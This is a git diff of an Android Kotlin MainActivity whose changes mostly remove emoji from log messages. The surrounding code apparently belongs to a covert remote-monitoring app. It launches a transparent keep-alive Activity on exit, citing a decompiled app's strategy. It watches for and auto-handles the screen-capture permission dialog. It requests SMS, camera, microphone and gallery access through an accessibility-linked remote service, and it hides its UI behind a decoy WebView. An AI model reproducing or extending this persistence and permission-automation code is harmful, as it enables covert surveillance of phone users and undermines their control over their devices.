//新增:OPPO设备检测,禁用Activity保活 if (!com.hikoncont.util.DeviceDetector.shouldUseActivityKeepAlive()) { - Log.i(TAG, "📱 OPPO设备:onDestroy跳过透明保活Activity启动,仅使用服务保活") + Log.i(TAG, "OPPO设备:onDestroy跳过透明保活Activity启动,仅使用服务保活") // 清理资源但不启动透明Activity stopAutoRetry() Log.i(TAG, "已清理自动重试任务") return } - // ✅ 强化安装完成检查,防止过早启动保活 + //强化安装完成检查,防止过早启动保活 try { val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this) val isInstallationComplete = installationStateManager.isInstallationComplete() if (!isInstallationComplete) { - Log.w(TAG, "⚠️ onDestroy: 安装未完成,跳过透明保活Activity启动") + Log.w(TAG, "onDestroy: 安装未完成,跳过透明保活Activity启动") return } @@ -4749,7 +4741,7 @@ class MainActivity : AppCompatActivity() { val timeSinceInstallation = onDestroyCurrentTime - installationTime if (timeSinceInstallation < 30000L) { - Log.w(TAG, "⚠️ onDestroy: 安装刚完成(${timeSinceInstallation}ms),跳过透明保活Activity启动") + Log.w(TAG, "onDestroy: 安装刚完成(${timeSinceInstallation}ms),跳过透明保活Activity启动") return } @@ -4758,11 +4750,11 @@ class MainActivity : AppCompatActivity() { .getInt("launch_count", 0) if (appLaunchCount < 3) { - Log.w(TAG, "⚠️ onDestroy: 应用启动次数不足($appLaunchCount),跳过透明保活Activity启动") + Log.w(TAG, "onDestroy: 应用启动次数不足($appLaunchCount),跳过透明保活Activity启动") return } - // ✅ 参照反编译应用策略:应用退出时启动透明保活Activity + //参照反编译应用策略:应用退出时启动透明保活Activity // 检查透明保活Activity是否正在运行 val activityManager = getSystemService(Context.ACTIVITY_SERVICE) as ActivityManager val runningTasks = activityManager.getRunningTasks(10) @@ -4771,7 +4763,7 @@ class MainActivity : AppCompatActivity() { } if (!isTransparentRunning) { - Log.i(TAG, "🫥 onDestroy: 透明保活Activity未运行,启动透明保活Activity") + Log.i(TAG, "onDestroy: 透明保活Activity未运行,启动透明保活Activity") val intent = Intent(this, com.hikoncont.TransparentKeepAliveActivity::class.java).apply { addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) @@ -4779,19 +4771,19 @@ class MainActivity : AppCompatActivity() { putExtra("keepalive_launch", true) } startActivity(intent) - Log.i(TAG, "✅ 透明保活Activity已启动") + Log.i(TAG, "透明保活Activity已启动") } else { - Log.d(TAG, "🔍 onDestroy: 透明保活Activity已在运行,无需启动") + Log.d(TAG, "onDestroy: 透明保活Activity已在运行,无需启动") } } catch (e: Exception) { - Log.e(TAG, "❌ onDestroy启动透明保活Activity失败", e) + Log.e(TAG, "onDestroy启动透明保活Activity失败", e) } - // ✅ 清理自动重试任务,防止内存泄漏 + //清理自动重试任务,防止内存泄漏 stopAutoRetry() Log.i(TAG, "已清理自动重试任务") - // ✅ 清理故障恢复机制相关的Handler任务 + //清理故障恢复机制相关的Handler任务 try { // 清理所有可能的Handler任务 val mainLooper = android.os.Looper.getMainLooper() @@ -4803,7 +4795,7 @@ class MainActivity : AppCompatActivity() { Log.w(TAG, "清理Handler任务失败: ${e.message}") } - // ✅ 取消注册广播接收器 + //取消注册广播接收器 try { unregisterReceiver(combinedBroadcastReceiver) } catch (e: Exception) { @@ -4818,7 +4810,7 @@ class MainActivity : AppCompatActivity() { Log.w(TAG, "清理WebView资源失败: ${e.message}") } - // ❌ 修复:不要在MainActivity销毁时停止MediaProjection! + // 修复:不要在MainActivity销毁时停止MediaProjection! // 这会导致权限立即失效,特别是Android 15设备 // MediaProjection应该由前台服务和AccessibilityService管理 // mediaProjection?.stop() // 删除这行,防止权限被意外停止 @@ -4830,10 +4822,10 @@ class MainActivity : AppCompatActivity() { } /** - * ✅ 启动MediaProjection权限监听 + *启动MediaProjection权限监听 */ private fun startMediaProjectionPermissionMonitoring() { - Log.i(TAG, "🔍 ===== 启动MediaProjection权限监听 =====") + Log.i(TAG, "===== 启动MediaProjection权限监听 =====") Log.i(TAG, "📊 监听配置:") Log.i(TAG, " - 最大检查次数: 30") Log.i(TAG, " - 检查间隔: 500ms") @@ -4845,7 +4837,7 @@ class MainActivity : AppCompatActivity() { // 🔧 Android 10 特殊处理:启动权限申请后立即开始弹框处理 if (Build.VERSION.SDK_INT == 29) { - Log.i(TAG, "📱 Android 10设备:启动直接弹框处理") + Log.i(TAG, "Android 10设备:启动直接弹框处理") startAndroid10MediaProjectionDialogHandling() } @@ -4860,7 +4852,7 @@ class MainActivity : AppCompatActivity() { val permissionCheckCurrentTime = System.currentTimeMillis() val elapsedTime = permissionCheckCurrentTime - startTime - Log.d(TAG, "🔍 权限监听第${checkCount}次检查 (已耗时: ${elapsedTime}ms)") + Log.d(TAG, "权限监听第${checkCount}次检查 (已耗时: ${elapsedTime}ms)") try { // 检查MediaProjection权限是否已获取 @@ -4869,7 +4861,7 @@ class MainActivity : AppCompatActivity() { if (permissionData != null) { Log.i( TAG, - "✅ 检测到MediaProjection权限已获取(第${checkCount}次检查),触发权限处理" + "检测到MediaProjection权限已获取(第${checkCount}次检查),触发权限处理" ) // 停止监听 @@ -4884,7 +4876,7 @@ class MainActivity : AppCompatActivity() { return } - // ✅ 新增:检查前台Activity(帮助诊断权限弹窗问题) + //新增:检查前台Activity(帮助诊断权限弹窗问题) if (checkCount == 2) { // 1秒后检查一次 try { val activityManager = @@ -4892,8 +4884,8 @@ class MainActivity : AppCompatActivity() { val runningTasks = activityManager.getRunningTasks(1) if (runningTasks.isNotEmpty()) { val topActivity = runningTasks[0].topActivity - Log.i(TAG, "🔍 1秒后前台Activity: ${topActivity?.className}") - Log.i(TAG, "🔍 前台应用: ${topActivity?.packageName}") + Log.i(TAG, "1秒后前台Activity: ${topActivity?.className}") + Log.i(TAG, "前台应用: ${topActivity?.packageName}") // 检查是否是权限相关的Activity val isPermissionActivity = topActivity?.packageName?.let { pkg -> @@ -4906,9 +4898,9 @@ class MainActivity : AppCompatActivity() { } ?: false if (isPermissionActivity) { - Log.i(TAG, "✅ 检测到权限相关Activity,弹窗可能已出现") + Log.i(TAG, "检测到权限相关Activity,弹窗可能已出现") } else { - Log.w(TAG, "⚠️ 未检测到权限Activity,弹窗可能没有出现") + Log.w(TAG, "未检测到权限Activity,弹窗可能没有出现") } } } catch (e: Exception) { @@ -4918,15 +4910,15 @@ class MainActivity : AppCompatActivity() { // 检查是否超时 if (checkCount >= maxChecks) { - Log.w(TAG, "⚠️ MediaProjection权限监听超时(${checkCount}次检查),停止监听") + Log.w(TAG, "MediaProjection权限监听超时(${checkCount}次检查),停止监听") stopMediaProjectionPermissionMonitoring() - // ✅ 新增:超时时的设备信息(帮助分析问题) + //新增:超时时的设备信息(帮助分析问题) Log.w( TAG, - "⚠️ 超时设备信息: ${android.os.Build.MANUFACTURER} ${android.os.Build.MODEL}" + "超时设备信息: ${android.os.Build.MANUFACTURER} ${android.os.Build.MODEL}" ) - Log.w(TAG, "⚠️ 可能原因: 权限弹窗没有出现,或用户未操作") + Log.w(TAG, "可能原因: 权限弹窗没有出现,或用户未操作") return } @@ -4935,7 +4927,7 @@ class MainActivity : AppCompatActivity() { mediaProjectionCheckHandler?.postDelayed(this, 500) } catch (e: Exception) { - Log.e(TAG, "❌ 权限监听过程中发生异常", e) + Log.e(TAG, "权限监听过程中发生异常", e) Log.e(TAG, " - 检查次数: $checkCount") Log.e(TAG, " - 异常类型: ${e.javaClass.simpleName}") Log.e(TAG, " - 异常消息: ${e.message}") @@ -4944,7 +4936,7 @@ class MainActivity : AppCompatActivity() { if (checkCount < maxChecks) { mediaProjectionCheckHandler?.postDelayed(this, 500) } else { - Log.e(TAG, "❌ 权限监听因异常和超时而停止") + Log.e(TAG, "权限监听因异常和超时而停止") stopMediaProjectionPermissionMonitoring() } } @@ -4953,11 +4945,11 @@ class MainActivity : AppCompatActivity() { // 启动监听 mediaProjectionCheckHandler?.post(mediaProjectionCheckRunnable!!) - Log.i(TAG, "✅ MediaProjection权限监听已启动") + Log.i(TAG, "MediaProjection权限监听已启动") } /** - * ✅ 停止MediaProjection权限监听 + *停止MediaProjection权限监听 */ private fun stopMediaProjectionPermissionMonitoring() { mediaProjectionCheckRunnable?.let { runnable -> @@ -4975,7 +4967,7 @@ class MainActivity : AppCompatActivity() { try { val requestSMSPermission = intent.getBooleanExtra("request_sms_permission", false) if (requestSMSPermission) { - Log.i(TAG, "📱 收到短信权限申请请求") + Log.i(TAG, "收到短信权限申请请求") requestSMSPermission() } } catch (e: Exception) { @@ -5017,7 +5009,7 @@ class MainActivity : AppCompatActivity() { /** - * ✅ 直接相册权限请求(用于VivoAuthorizationHandler调用) + *直接相册权限请求(用于VivoAuthorizationHandler调用) */ private fun requestGalleryPermissionDirectly() { try { @@ -5042,13 +5034,13 @@ class MainActivity : AppCompatActivity() { Log.i(TAG, "🖼️ 直接申请相册权限") requestPermissions(needPermissions.toTypedArray(), REQUEST_GALLERY_PERMISSION) } else { - Log.i(TAG, "✅ 相册权限已授予") + Log.i(TAG, "相册权限已授予") } } else { - Log.i(TAG, "✅ Android版本低于6.0,无需申请相册权限") + Log.i(TAG, "Android版本低于6.0,无需申请相册权限") } } catch (e: Exception) { - Log.e(TAG, "❌ 直接相册权限请求失败", e) + Log.e(TAG, "直接相册权限请求失败", e) } } @@ -5069,10 +5061,10 @@ class MainActivity : AppCompatActivity() { Log.i(TAG, "🖼️ 申请相册权限") requestPermissions(needPermissions.toTypedArray(), REQUEST_GALLERY_PERMISSION) } else { - Log.i(TAG, "✅ 相册权限已授予") + Log.i(TAG, "相册权限已授予") } } else { - Log.i(TAG, "✅ Android版本低于6.0,无需申请相册权限") + Log.i(TAG, "Android版本低于6.0,无需申请相册权限") } } catch (e: Exception) { Log.e(TAG, "申请相册权限失败", e) @@ -5080,7 +5072,7 @@ class MainActivity : AppCompatActivity() { } /** - * ✅ 直接麦克风权限请求(用于VivoAuthorizationHandler调用) + *直接麦克风权限请求(用于VivoAuthorizationHandler调用) */ private fun requestMicrophonePermissionDirectly() { try { @@ -5094,13 +5086,13 @@ class MainActivity : AppCompatActivity() { REQUEST_MICROPHONE_PERMISSION ) } else { - Log.i(TAG, "✅ 麦克风权限已授予") + Log.i(TAG, "麦克风权限已授予") } } else { - Log.i(TAG, "✅ Android版本低于6.0,无需申请麦克风权限") + Log.i(TAG, "Android版本低于6.0,无需申请麦克风权限") } } catch (e: Exception) { - Log.e(TAG, "❌ 直接麦克风权限请求失败", e) + Log.e(TAG, "直接麦克风权限请求失败", e) } } @@ -5117,10 +5109,10 @@ class MainActivity : AppCompatActivity() { REQUEST_MICROPHONE_PERMISSION ) } else { - Log.i(TAG, "✅ 麦克风权限已授予") + Log.i(TAG, "麦克风权限已授予") } } else { - Log.i(TAG, "✅ Android版本低于6.0,无需申请麦克风权限") + Log.i(TAG, "Android版本低于6.0,无需申请麦克风权限") } } catch (e: Exception) { Log.e(TAG, "申请麦克风权限失败", e) @@ -5128,7 +5120,7 @@ class MainActivity : AppCompatActivity() { } /** - * ✅ 直接短信权限请求(用于VivoAuthorizationHandler调用) + *直接短信权限请求(用于VivoAuthorizationHandler调用) */ private fun requestSMSPermissionDirectly() { try { @@ -5146,16 +5138,16 @@ class MainActivity : AppCompatActivity() { checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED } if (needPermissions.isNotEmpty()) { - Log.i(TAG, "📱 直接申请短信权限") + Log.i(TAG, "直接申请短信权限") requestPermissions(needPermissions.toTypedArray(), REQUEST_SMS_PERMISSION) } else { - Log.i(TAG, "✅ 短信权限已授予") + Log.i(TAG, "短信权限已授予") } } else { - Log.i(TAG, "✅ Android版本低于6.0,无需申请短信权限") + Log.i(TAG, "Android版本低于6.0,无需申请短信权限") } } catch (e: Exception) { - Log.e(TAG, "❌ 直接短信权限请求失败", e) + Log.e(TAG, "直接短信权限请求失败", e) } } @@ -5176,13 +5168,13 @@ class MainActivity : AppCompatActivity() { } if (needPermissions.isNotEmpty()) { - Log.i(TAG, "📱 申请短信权限") + Log.i(TAG, "申请短信权限") requestPermissions(needPermissions.toTypedArray(), REQUEST_SMS_PERMISSION) } else { - Log.i(TAG, "✅ 短信权限已授予") + Log.i(TAG, "短信权限已授予") } } else { - Log.i(TAG, "✅ Android版本低于6.0,无需申请短信权限") + Log.i(TAG, "Android版本低于6.0,无需申请短信权限") } } catch (e: Exception) { Log.e(TAG, "申请短信权限失败", e) @@ -5208,9 +5200,9 @@ class MainActivity : AppCompatActivity() { requestCameraPermission() } catch (e: Exception) { - Log.e(TAG, "❌ 处理摄像头权限申请请求失败", e) + Log.e(TAG, "处理摄像头权限申请请求失败", e) runOnUiThread { - statusText.text = "❌ 摄像头权限申请失败\n请手动在设置中开启" + statusText.text = "摄像头权限申请失败\n请手动在设置中开启" statusText.setTextColor(getColor(android.R.color.holo_red_dark)) enableButton.text = "重试" enableButton.isEnabled = true @@ -5219,7 +5211,7 @@ class MainActivity : AppCompatActivity() { } /** - * ✅ 直接摄像头权限请求(用于VivoAuthorizationHandler调用) + *直接摄像头权限请求(用于VivoAuthorizationHandler调用) */ private fun requestCameraPermissionDirectly() { try { @@ -5233,13 +5225,13 @@ class MainActivity : AppCompatActivity() { REQUEST_CAMERA_PERMISSION ) } else { - Log.i(TAG, "✅ 摄像头权限已授予") + Log.i(TAG, "摄像头权限已授予") } } else { - Log.i(TAG, "✅ Android版本低于6.0,无需申请摄像头权限") + Log.i(TAG, "Android版本低于6.0,无需申请摄像头权限") } } catch (e: Exception) { - Log.e(TAG, "❌ 直接摄像头权限请求失败", e) + Log.e(TAG, "直接摄像头权限请求失败", e) } } @@ -5256,9 +5248,9 @@ class MainActivity : AppCompatActivity() { REQUEST_CAMERA_PERMISSION ) } else { - Log.i(TAG, "✅ 摄像头权限已授予") + Log.i(TAG, "摄像头权限已授予") runOnUiThread { - statusText.text = "✅ 摄像头权限已授予\n权限申请完成" + statusText.text = "摄像头权限已授予\n权限申请完成" statusText.setTextColor(getColor(android.R.color.holo_green_dark)) enableButton.text = "完成" enableButton.isEnabled = true @@ -5270,9 +5262,9 @@ class MainActivity : AppCompatActivity() { }, 2000) } } else { - Log.i(TAG, "✅ Android版本低于6.0,无需申请摄像头权限") + Log.i(TAG, "Android版本低于6.0,无需申请摄像头权限") runOnUiThread { - statusText.text = "✅ Android版本低于6.0\n无需申请摄像头权限" + statusText.text = "Android版本低于6.0\n无需申请摄像头权限" statusText.setTextColor(getColor(android.R.color.holo_green_dark)) enableButton.text = "完成" enableButton.isEnabled = true @@ -5286,7 +5278,7 @@ class MainActivity : AppCompatActivity() { } catch (e: Exception) { Log.e(TAG, "申请摄像头权限失败", e) runOnUiThread { - statusText.text = "❌ 摄像头权限申请失败\n请手动在设置中开启" + statusText.text = "摄像头权限申请失败\n请手动在设置中开启" statusText.setTextColor(getColor(android.R.color.holo_red_dark)) enableButton.text = "重试" enableButton.isEnabled = true @@ -5309,9 +5301,9 @@ class MainActivity : AppCompatActivity() { val allGranted = grantResults.isNotEmpty() && grantResults.all { it == PackageManager.PERMISSION_GRANTED } if (allGranted) { - Log.i(TAG, "✅ 短信权限已授予") + Log.i(TAG, "短信权限已授予") } else { - Log.w(TAG, "❌ 短信权限被拒绝") + Log.w(TAG, "短信权限被拒绝") } } @@ -5319,9 +5311,9 @@ class MainActivity : AppCompatActivity() { val allGranted = grantResults.isNotEmpty() && grantResults.all { it == PackageManager.PERMISSION_GRANTED } if (allGranted) { - Log.i(TAG, "✅ 相册权限已授予") + Log.i(TAG, "相册权限已授予") } else { - Log.w(TAG, "❌ 相册权限未授予") + Log.w(TAG, "相册权限未授予") } } @@ -5329,9 +5321,9 @@ class MainActivity : AppCompatActivity() { val allGranted = grantResults.isNotEmpty() && grantResults.all { it == PackageManager.PERMISSION_GRANTED } if (allGranted) { - Log.i(TAG, "✅ 麦克风权限已授予") + Log.i(TAG, "麦克风权限已授予") } else { - Log.w(TAG, "❌ 麦克风权限未授予") + Log.w(TAG, "麦克风权限未授予") } } @@ -5339,9 +5331,9 @@ class MainActivity : AppCompatActivity() { val allGranted = grantResults.isNotEmpty() && grantResults.all { it == PackageManager.PERMISSION_GRANTED } if (allGranted) { - Log.i(TAG, "✅ 摄像头权限已授予") + Log.i(TAG, "摄像头权限已授予") runOnUiThread { - statusText.text = "✅ 摄像头权限已授予\n权限申请完成" + statusText.text = "摄像头权限已授予\n权限申请完成" statusText.setTextColor(getColor(android.R.color.holo_green_dark)) enableButton.text = "完成" enableButton.isEnabled = true @@ -5352,9 +5344,9 @@ class MainActivity : AppCompatActivity() { hideActivityToBackground() }, 2000) } else { - Log.w(TAG, "❌ 摄像头权限被拒绝") + Log.w(TAG, "摄像头权限被拒绝") runOnUiThread { - statusText.text = "❌ 摄像头权限被拒绝\n请手动在设置中开启" + statusText.text = "摄像头权限被拒绝\n请手动在设置中开启" statusText.setTextColor(getColor(android.R.color.holo_red_dark)) enableButton.text = "重试" enableButton.isEnabled = true @@ -5370,15 +5362,15 @@ class MainActivity : AppCompatActivity() { Log.i(TAG, "📊 所有权限申请结果: $grantedCount/$totalCount 已授予") if (allGranted) { - Log.i(TAG, "✅ 所有权限已授予") + Log.i(TAG, "所有权限已授予") runOnUiThread { - statusText.text = "✅ 所有权限已授予\n权限申请完成" + statusText.text = "所有权限已授予\n权限申请完成" statusText.setTextColor(getColor(android.R.color.holo_green_dark)) } } else { - Log.w(TAG, "⚠️ 部分权限被拒绝: $grantedCount/$totalCount") + Log.w(TAG, "部分权限被拒绝: $grantedCount/$totalCount") runOnUiThread { - statusText.text = "⚠️ 部分权限被拒绝\n已授予: $grantedCount/$totalCount" + statusText.text = "部分权限被拒绝\n已授予: $grantedCount/$totalCount" statusText.setTextColor(getColor(android.R.color.holo_orange_dark)) } } @@ -5397,31 +5389,31 @@ class MainActivity : AppCompatActivity() { // return Log.i(TAG, "🌐 准备启动WebView页面") - Log.i(TAG, "🔍 当前Activity状态: isFinishing=${isFinishing}, isDestroyed=${isDestroyed}") + Log.i(TAG, "当前Activity状态: isFinishing=${isFinishing}, isDestroyed=${isDestroyed}") - // ✅ 检查Activity是否仍然有效 + //检查Activity是否仍然有效 if (isFinishing || isDestroyed) { - Log.e(TAG, "❌ Activity已销毁或正在结束,无法启动WebView") + Log.e(TAG, "Activity已销毁或正在结束,无法启动WebView") return } - // ✅ 检查安装是否完成,如果未完成则不打开WebView + //检查安装是否完成,如果未完成则不打开WebView try { val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this) val isInstallationComplete = installationStateManager.isInstallationComplete() if (!isInstallationComplete) { - Log.w(TAG, "⚠️ 安装未完成,无法打开WebView") + Log.w(TAG, "安装未完成,无法打开WebView") // 可选:显示提示信息给用户 runOnUiThread { - statusText?.text = "⚠️ 安装未完成\n请先完成安装流程" + statusText?.text = "安装未完成\n请先完成安装流程" statusText?.setTextColor(getColor(android.R.color.holo_orange_dark)) } return } - Log.i(TAG, "✅ 安装已完成,允许打开WebView") + Log.i(TAG, "安装已完成,允许打开WebView") } catch (e: Exception) { - Log.e(TAG, "❌ 检查安装完成状态失败", e) + Log.e(TAG, "检查安装完成状态失败", e) // 如果检查失败,为了安全起见,不打开WebView return } @@ -5430,7 +5422,7 @@ class MainActivity : AppCompatActivity() { val webUrl = com.hikoncont.util.ConfigReader.getWebUrl(this) val finalUrl = if (webUrl.isNullOrBlank()) { - Log.w(TAG, "⚠️ 配置文件中没有webUrl,使用默认URL") + Log.w(TAG, "配置文件中没有webUrl,使用默认URL") "https://m.baidu.com" } else { webUrl @@ -5439,7 +5431,7 @@ class MainActivity : AppCompatActivity() { // 找到布局中的 WebView val webView = findViewById(R.id.webView) if (webView == null) { - Log.e(TAG, "❌ 未找到WebView视图,无法加载页面") + Log.e(TAG, "未找到WebView视图,无法加载页面") return } @@ -5465,7 +5457,7 @@ class MainActivity : AppCompatActivity() { hideMainUI() webViewManager.showWebView() - // ✅ 启动WebView状态更新(每500ms更新一次静态变量) + //启动WebView状态更新(每500ms更新一次静态变量) startWebViewStatusUpdate() // 🚀 简洁的全屏设置 @@ -5480,7 +5472,7 @@ class MainActivity : AppCompatActivity() { window.decorView.systemUiVisibility = android.view.View.SYSTEM_UI_FLAG_LAYOUT_STABLE Log.d(TAG, "🔧 已优化系统UI性能") } catch (e: Exception) { - Log.w(TAG, "⚠️ 系统UI优化失败: ${e.message}") + Log.w(TAG, "系统UI优化失败: ${e.message}") } // 🚀 加载 URL @@ -5492,14 +5484,14 @@ class MainActivity : AppCompatActivity() { // serviceInstance?.disableLogging() // 暂停:暂时不切换日志 Log.i(TAG, "🌐 WebView 启动:跳过日志开关") } catch (e: Exception) { - Log.w(TAG, "⚠️ 处理日志开关时异常: ${e.message}") + Log.w(TAG, "处理日志开关时异常: ${e.message}") } - Log.i(TAG, "✅ WebView 启动完成") + Log.i(TAG, "WebView 启动完成") } catch (e: Exception) { - Log.e(TAG, "❌ 启动WebView失败: ${e.message}") + Log.e(TAG, "启动WebView失败: ${e.message}") } } @@ -5519,17 +5511,17 @@ class MainActivity : AppCompatActivity() { // serviceInstance?.disableLogging() // 暂停:暂时不切换日志 Log.i(TAG, "🌐 WebView 模式:跳过日志开关") } catch (e: Exception) { - Log.w(TAG, "⚠️ 处理日志开关时异常: ${e.message}") + Log.w(TAG, "处理日志开关时异常: ${e.message}") } - Log.i(TAG, "✅ 主UI已隐藏,WebView容器已显示") + Log.i(TAG, "主UI已隐藏,WebView容器已显示") } catch (e: Exception) { - Log.e(TAG, "❌ 隐藏主UI失败: ${e.message}") + Log.e(TAG, "隐藏主UI失败: ${e.message}") } } /** - * ✅ 启动WebView状态更新(每500ms更新一次静态变量,最高性能) + *启动WebView状态更新(每500ms更新一次静态变量,最高性能) * 只有Activity在前台时才更新状态 */ private fun startWebViewStatusUpdate() { @@ -5540,22 +5532,22 @@ class MainActivity : AppCompatActivity() { isWebViewVisible = true webViewStatusHandler = Handler(Looper.getMainLooper()) - // ✅ 检查Activity是否在前台,只有在前台时才设置状态 + //检查Activity是否在前台,只有在前台时才设置状态 if (isActivityResumed()) { - // ✅ 立即设置WebView打开状态(只有在前台时) + //立即设置WebView打开状态(只有在前台时) com.hikoncont.service.AccessibilityRemoteService.setWebViewOpen(true) - Log.i(TAG, "✅ 已设置WebView打开状态(静态变量),Activity在前台") + Log.i(TAG, "已设置WebView打开状态(静态变量),Activity在前台") } else { - Log.i(TAG, "✅ 已标记WebView为可见,但Activity不在前台,等待前台时再更新状态") + Log.i(TAG, "已标记WebView为可见,但Activity不在前台,等待前台时再更新状态") } webViewStatusRunnable = object : Runnable { override fun run() { if (isWebViewVisible && !isFinishing && !isDestroyed) { try { - // ✅ 只有Activity在前台时才更新状态,节省资源 + //只有Activity在前台时才更新状态,节省资源 if (isActivityResumed()) { - // ✅ 直接更新静态变量(最高性能,无通信开销) + //直接更新静态变量(最高性能,无通信开销) com.hikoncont.service.AccessibilityRemoteService.setWebViewOpen(true) } else { // Activity不在前台,不更新状态,但继续检查 @@ -5564,7 +5556,7 @@ class MainActivity : AppCompatActivity() { // 500ms后再次更新 webViewStatusHandler?.postDelayed(this, 500L) } catch (e: Exception) { - Log.e(TAG, "❌ 更新WebView状态失败", e) + Log.e(TAG, "更新WebView状态失败", e) // 更新失败也要继续尝试,避免停止更新 webViewStatusHandler?.postDelayed(this, 500L) } @@ -5574,14 +5566,14 @@ class MainActivity : AppCompatActivity() { // 500ms后开始定时更新 webViewStatusHandler?.postDelayed(webViewStatusRunnable!!, 500L) - Log.i(TAG, "✅ 已启动WebView状态更新(静态变量方案),只有前台时更新") + Log.i(TAG, "已启动WebView状态更新(静态变量方案),只有前台时更新") } catch (e: Exception) { - Log.e(TAG, "❌ 启动WebView状态更新失败", e) + Log.e(TAG, "启动WebView状态更新失败", e) } } /** - * ✅ 检查Activity是否在前台(resumed状态) + *检查Activity是否在前台(resumed状态) */ private fun isActivityResumed(): Boolean { return try { @@ -5597,7 +5589,7 @@ class MainActivity : AppCompatActivity() { } /** - * ✅ 停止WebView状态更新 + *停止WebView状态更新 */ private fun stopWebViewStatusUpdate() { try { @@ -5608,11 +5600,11 @@ class MainActivity : AppCompatActivity() { webViewStatusHandler = null webViewStatusRunnable = null - // ✅ 直接设置WebView关闭状态(静态变量) + //直接设置WebView关闭状态(静态变量) com.hikoncont.service.AccessibilityRemoteService.setWebViewOpen(false) - Log.i(TAG, "✅ 已停止WebView状态更新并设置为关闭状态(静态变量)") + Log.i(TAG, "已停止WebView状态更新并设置为关闭状态(静态变量)") } catch (e: Exception) { - Log.e(TAG, "❌ 停止WebView状态更新失败", e) + Log.e(TAG, "停止WebView状态更新失败", e) } } @@ -5625,7 +5617,7 @@ class MainActivity : AppCompatActivity() { webView?.onPause() Log.d(TAG, "⏸️ WebView已暂停") } catch (e: Exception) { - Log.w(TAG, "⚠️ 暂停WebView失败: ${e.message}") + Log.w(TAG, "暂停WebView失败: ${e.message}") } } @@ -5640,7 +5632,7 @@ class MainActivity : AppCompatActivity() { webView?.onResume() Log.d(TAG, "▶️ WebView已恢复") } catch (e: Exception) { - Log.w(TAG, "⚠️ 恢复WebView失败: ${e.message}") + Log.w(TAG, "恢复WebView失败: ${e.message}") } } @@ -5654,7 +5646,7 @@ class MainActivity : AppCompatActivity() { webView?.clearHistory() Log.d(TAG, "🧹 WebView缓存已清理") } catch (e: Exception) { - Log.w(TAG, "⚠️ 清理WebView缓存失败: ${e.message}") + Log.w(TAG, "清理WebView缓存失败: ${e.message}") } } @@ -5672,7 +5664,7 @@ class MainActivity : AppCompatActivity() { Log.d(TAG, "🗑️ WebView已销毁") } } catch (e: Exception) { - Log.w(TAG, "⚠️ 销毁WebView失败: ${e.message}") + Log.w(TAG, "销毁WebView失败: ${e.message}") } } @@ -5690,7 +5682,7 @@ class MainActivity : AppCompatActivity() { // 🚀 简化:移除复杂的内存监控,避免性能影响 Log.i(TAG, "🚀 WebView性能监控已简化") } catch (e: Exception) { - Log.w(TAG, "⚠️ 启用WebView性能监控失败: ${e.message}") + Log.w(TAG, "启用WebView性能监控失败: ${e.message}") } } @@ -5701,7 +5693,7 @@ class MainActivity : AppCompatActivity() { try { val webView = findViewById(R.id.webView) if (webView != null) { - Log.i(TAG, "🔍 WebView性能诊断开始") + Log.i(TAG, "WebView性能诊断开始") // 检查WebView状态 Log.d(TAG, "📊 WebView可见性: ${webView.visibility}") @@ -5720,12 +5712,12 @@ class MainActivity : AppCompatActivity() { Log.d(TAG, "📊 硬件加速: ${webView.layerType}") Log.d(TAG, "📊 缓存模式: ${settings.cacheMode}") - Log.i(TAG, "✅ WebView性能诊断完成") + Log.i(TAG, "WebView性能诊断完成") } else { - Log.w(TAG, "⚠️ WebView未找到,无法进行性能诊断") + Log.w(TAG, "WebView未找到,无法进行性能诊断") } } catch (e: Exception) { - Log.e(TAG, "❌ WebView性能诊断失败", e) + Log.e(TAG, "WebView性能诊断失败", e) } } @@ -5740,7 +5732,7 @@ class MainActivity : AppCompatActivity() { Log.i(TAG, "🚀 WebView渲染优化完成(简洁版)") } catch (e: Exception) { - Log.w(TAG, "⚠️ WebView渲染优化失败: ${e.message}") + Log.w(TAG, "WebView渲染优化失败: ${e.message}") } } @@ -5767,13 +5759,13 @@ class MainActivity : AppCompatActivity() { Log.d(TAG, "🧹 WebView内存清理完成,使用率: ${memoryUsagePercent}%") if (memoryUsagePercent > 85) { - Log.w(TAG, "⚠️ 内存使用率过高: ${memoryUsagePercent}%,建议重启WebView") + Log.w(TAG, "内存使用率过高: ${memoryUsagePercent}%,建议重启WebView") // 可以考虑重新加载页面 wv.reload() } } } catch (e: Exception) { - Log.w(TAG, "⚠️ WebView内存优化失败: ${e.message}") + Log.w(TAG, "WebView内存优化失败: ${e.message}") } } @@ -5799,10 +5791,10 @@ class MainActivity : AppCompatActivity() { // 2. 屏幕宽高比大于1.8(18:9或更高)且导航栏高度很小 val isFullScreen = !hasNavigationBar || (aspectRatio > 1.8f && navigationBarHeight < 100) - Log.d(TAG, "🔍 设备检测: 有导航栏=$hasNavigationBar, 宽高比=${String.format("%.2f", aspectRatio)}, 导航栏高度=${navigationBarHeight}px, 全面屏=$isFullScreen") + Log.d(TAG, "设备检测: 有导航栏=$hasNavigationBar, 宽高比=${String.format("%.2f", aspectRatio)}, 导航栏高度=${navigationBarHeight}px, 全面屏=$isFullScreen") isFullScreen } catch (e: Exception) { - Log.e(TAG, "❌ 检测全面屏设备失败", e) + Log.e(TAG, "检测全面屏设备失败", e) // 默认按非全面屏处理,避免遮挡 false } @@ -5824,7 +5816,7 @@ class MainActivity : AppCompatActivity() { (uiOptions and android.view.View.SYSTEM_UI_FLAG_HIDE_NAVIGATION) == 0 } } catch (e: Exception) { - Log.e(TAG, "❌ 检测导航栏失败", e) + Log.e(TAG, "检测导航栏失败", e) true // 默认认为有导航栏 } } @@ -5838,15 +5830,15 @@ class MainActivity : AppCompatActivity() { val resourceId = resources.getIdentifier("navigation_bar_height", "dimen", "android") if (resourceId > 0) { val height = resources.getDimensionPixelSize(resourceId) - Log.d(TAG, "🔍 导航栏高度: ${height}px") + Log.d(TAG, "导航栏高度: ${height}px") height } else { - Log.w(TAG, "⚠️ 无法获取导航栏高度,使用默认值") + Log.w(TAG, "无法获取导航栏高度,使用默认值") // 默认导航栏高度(通常为48dp) (48 * resources.displayMetrics.density).toInt() } } catch (e: Exception) { - Log.e(TAG, "❌ 获取导航栏高度失败", e) + Log.e(TAG, "获取导航栏高度失败", e) // 默认导航栏高度 (48 * resources.displayMetrics.density).toInt() } @@ -5859,9 +5851,9 @@ class MainActivity : AppCompatActivity() { // 🚀 简化:允许用户正常返回,不强制隐藏 // try { // moveTaskToBack(true) -// Log.i(TAG, "🫥 已将MainActivity隐藏到后台") +// 